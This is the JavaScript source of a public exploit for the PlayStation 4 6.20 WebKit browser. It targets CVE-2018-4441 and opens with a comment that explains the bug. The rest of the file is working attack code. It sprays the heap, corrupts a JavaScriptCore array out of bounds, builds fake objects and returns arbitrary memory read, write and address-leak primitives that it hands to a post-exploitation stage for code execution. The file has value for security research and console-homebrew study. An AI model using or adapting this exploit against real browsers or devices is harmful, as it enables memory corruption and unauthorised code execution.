/* * PS4 WebKit Exploit 6.20 * By Specter (@SpecterDev) * - * This file contains implementation for a JavaScriptCore (JSC) exploit targetting the * PlayStation 4 on 6.20 firmware. The functions in this file specifically craft arbitrary * memory read/write primitives, which are used to get code execution in index.html. This * part of the exploit should be portable to lower firmwares with little to no changes. * - * A brief overview of the vulnerability... * * The exploit leverages CVE-2018-4441, a bug JSArray::shiftCountWithArrayStorage found by * lokihardt. Due to flawed logic, essentially the bug allows us to shift an arbitrary amount * of QWORDS (64-bit integers) down by 8 bytes. Via some heap feng shui with setting up target * butterflies, this eventually results in an ArrayWithDoubles object with a very large size, * allowing us to write out-of-bounds of the array. Using this, we can write into an * ArrayWithContiguous (array of objects) to inject fake JavaScript objects and leak the address * of real JavaScript objects by causing type confusion in the inline slots. * * With the ability to craft fake objects that JSC thinks are real ones, we can create our own arrays * and modify where they point to internally, giving us an arbitrary read/write. With the ability to * leak the address of real objects, we can effectively locate any object we want to in memory for * code execution. */ var structs = []; function zeroFill(number, width) { width -= number.toString().length; if (width > 0) { return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; } return number + ""; // always return a string } try { // May need configuration depending on system? Left it as a variable just in case var sprayMax = 0x400; // Internal objects for u2d and d2u var conversionBuf = new ArrayBuffer(0x100); var u32 = new Uint32Array(conversionBuf); var f64 = new Float64Array(conversionBuf); // Helper for managing 64-bit values function int64(low, hi) { this.low = (low >>> 0); this.hi = (hi >>> 0); this.add32inplace = function (val) { var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; var new_hi = (this.hi >>> 0); if (new_lo < this.low) { new_hi++; } this.hi = new_hi; this.low = new_lo; } this.add32 = function (val) { var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; var new_hi = (this.hi >>> 0); if (new_lo < this.low) { new_hi++; } return new int64(new_lo, new_hi); } this.sub32 = function (val) { var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; var new_hi = (this.hi >>> 0); if (new_lo > (this.low) & 0xFFFFFFFF) { new_hi--; } return new int64(new_lo, new_hi); } this.sub32inplace = function (val) { var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; var new_hi = (this.hi >>> 0); if (new_lo > (this.low) & 0xFFFFFFFF) { new_hi--; } this.hi = new_hi; this.low = new_lo; } this.and32 = function (val) { var new_lo = this.low & val; var new_hi = this.hi; return new int64(new_lo, new_hi); } this.and64 = function (vallo, valhi) { var new_lo = this.low & vallo; var new_hi = this.hi & valhi; return new int64(new_lo, new_hi); } this.toString = function (val) { val = 16; var lo_str = (this.low >>> 0).toString(val); var hi_str = (this.hi >>> 0).toString(val); if (this.hi == 0) return lo_str; else lo_str = zeroFill(lo_str, 8) return hi_str + lo_str; } this.toPacked = function () { return { hi: this.hi, low: this.low }; } this.setPacked = function (pck) { this.hi = pck.hi; this.low = pck.low; return this; } return this; } // Helper for converting doubles <-> uint64's function u2d(low, hi) { u32[0] = low; u32[1] = hi; return f64[0]; } function d2u(val) { f64[0] = val; var retval = new int64(u32[0], u32[1]); return retval; } function main() { document.getElementById("go").style.display = 'none'; debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------"); // Setup the corrupted arr for OOB write //debug("[*] Setting up the attack array..."); var arr = [1]; arr.length = 0x100000; arr.splice(0, 0x11); arr.length = 0xfffffff0; // Spray some target butterflies in CopiedSpace //debug("[*] Spraying target objects on the heap..."); var targetButterflies = []; for (var i = 0; i < sprayMax; i++) { targetButterflies[i] = []; targetButterflies[i].p0 = 0.0; targetButterflies[i].p1 = 0.1; targetButterflies[i].p2 = 0.2; targetButterflies[i].p3 = 0.3; targetButterflies[i].p4 = 0.4; targetButterflies[i].p5 = 0.5; targetButterflies[i].p6 = 0.6; targetButterflies[i].p7 = 0.7; targetButterflies[i].p8 = 0.8; targetButterflies[i].p9 = 0.9; for (var k = 0; k < 0x10; k++) { // We want to smash the length of the array to the max possible value targetButterflies[i][k] = u2d(0x7FFFFFFF, 0x7FEFFFFF); } } //debug("[*] Triggering memory corruption...."); // Trigger shift of memory contents to cause OOB write on a sprayed array arr.splice(0x1000, 0x0, 1); var targetIdx = -1; //debug("[*] Finding corrupted ArrayWithDouble for rel R/W..."); for (var i = 0; i < sprayMax; i++) { if (targetButterflies[i].length != 0x10) { //debug("[*] Found smashed butterfly!"); //debug("| [+] Index: 0x" + i.toString(16)); //debug("| [+] Length: 0x" + targetButterflies[i].length.toString(16)); targetIdx = i; break; } } if (targetIdx == -1) { alert("[-] Failed to find smashed butterfly."); return; } // We now have an ArrayWithDoubles that can r/w OOB var oobDoubleArr = targetButterflies[targetIdx]; debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------"); // Spray some objects to use for arb. R/W primitive //debug("[*] Spraying ArrayWithContiguous objects..."); var primitiveSpray = []; for (var i = 0; i < 0x800; i++) { primitiveSpray[i] = []; for (var k = 0; k < 0x10; k++) { primitiveSpray[i].p0 = u2d(0x13371337, 0x0); primitiveSpray[i].p1 = u2d(0x13371337, 0x0); primitiveSpray[i].p2 = u2d(0x13371337, 0x0); primitiveSpray[i].p3 = u2d(0x13371337, 0x0); primitiveSpray[i].p4 = u2d(0x13371337, 0x0); primitiveSpray[i].p5 = u2d(0x13371337, 0x0); primitiveSpray[i].p6 = u2d(0x13371337, 0x0); primitiveSpray[i].p7 = u2d(0x13371337, 0x0); primitiveSpray[i].p8 = u2d(0x13371337, 0x0); primitiveSpray[i].p9 = u2d(0x13371337, 0x0); if(k == 0) primitiveSpray[i][k] = 13.37; else primitiveSpray[i][k] = {}; } } //debug("[*] Finding potential primitive..."); var leakAndFakePrimIdx = -1; var leakAndFakeDoubleIdx = -1; var foundPrimitive = false; for (var i = 0; i < 0x5000; i++) { var lookupIdx = 0x65000 + i; var oldVal = oobDoubleArr[lookupIdx]; if (oldVal == undefined) continue; oobDoubleArr[lookupIdx] = u2d(0x00001337, 0x0); for (var k = 0; k < 0x800; k++) { if(primitiveSpray[k].length != 0x10) { //debug("[*] Found a primitive!") //debug("| [+] Primitive Index: 0x" + k.toString(16)); //debug("| [+] Double Index: 0x" + lookupIdx.toString(16)); //debug("| [+] Length: 0x" + primitiveSpray[k].length.toString(16)); foundPrimitive = true; leakAndFakePrimIdx = k; leakAndFakeDoubleIdx = lookupIdx; oobDoubleArr[lookupIdx] = oldVal; for(var test = 0; test < 0x10; test++) { f64[0] = oobDoubleArr[lookupIdx+test]; } break; } } if(foundPrimitive) break; oobDoubleArr[lookupIdx] = oldVal; } var slave = new Uint32Array(0x1000); slave[0] = 0x13371337; // First, leak the address of an array we'll use later for leaking arbitrary JSValues //debug("[*] Leaking address of array for leak primitive..."); var leakTgt = {a: 0, b: 0, c: 0, d: 0}; leakTgt.a = slave; primitiveSpray[leakAndFakePrimIdx][1] = leakTgt; var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var leakTargetAddrInt64 = d2u(leakTargetAddr); // Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties //debug("[*] Leaking address of fake ArrayBufferView for R/W primitive..."); // Spray arrays for structure id for (var i = 0; i < 0x100; i++) { var a = new Uint32Array(1); a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337; structs.push(a); } var rwTgt = {a: 0, b: 0, c: 0, d: 0}; rwTgt.a = u2d(0x00000200, 0x1602300); rwTgt.b = 0; rwTgt.c = slave; rwTgt.d = 0x1337; primitiveSpray[leakAndFakePrimIdx][1] = rwTgt; var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var rwTargetAddrInt64 = d2u(rwTargetAddr); //debug("| [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16)); // Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10); // Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi); var master = primitiveSpray[leakAndFakePrimIdx][1]; var addrOfSlave = new int64(master[4], master[5]); //debug("[*] Setting up primitive functions..."); var prim = { // Read 64 bits read8: function(addr) { master[4] = addr.low; master[5] = addr.hi; var retval = new int64(slave[0], slave[1]); return retval; }, // Read 32 bits read4: function(addr) { master[4] = addr.low; master[5] = addr.hi; var retval = new int64(slave[0], 0); return retval; }, // Write 64 bits write8: function(addr, val) { master[4] = addr.low; master[5] = addr.hi; if (val instanceof int64) { slave[0] = val.low; slave[1] = val.hi; } else { slave[0] = val; slave[1] = 0; } }, // Write 32 bits write4: function(addr, val) { master[4] = addr.low; master[5] = addr.hi; slave[0] = val; }, // Leak an object virtual address leakval: function(jsval) { leakTgt.a = jsval; return prim.read8(leakTargetAddrInt64.add32(0x10)); } }; window.postExploit(prim); } } catch (e) { alert(e); }